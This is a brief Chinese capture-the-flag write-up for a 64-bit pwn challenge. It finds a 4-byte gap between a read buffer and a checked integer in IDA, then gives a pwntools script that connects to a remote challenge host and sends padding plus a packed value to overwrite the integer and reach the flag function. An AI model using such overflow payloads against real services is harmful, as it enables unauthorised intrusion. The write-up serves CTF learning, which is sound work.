checksec然后试运行
放入64位ida,看看main函数
点击read函数里的unk_601068,再点击if函数里的dword_60106C,发现他们只相差了0x601068-0x60106c=0x4,再点击sub_400686(),发现了拿到flag的地方
现在就很明朗了,用read函数栈溢出覆盖地址
点击h把int转成16进制
写脚本
#coding=utf8
from pwn import *
context.log_level = 'debug'
p = remote('111.198.29.45',37550)
payload = ''
payload += 0x4*'A'
payload += p64(0x6E756161)
p.sendline(payload)
p.interactive()
成功
网友评论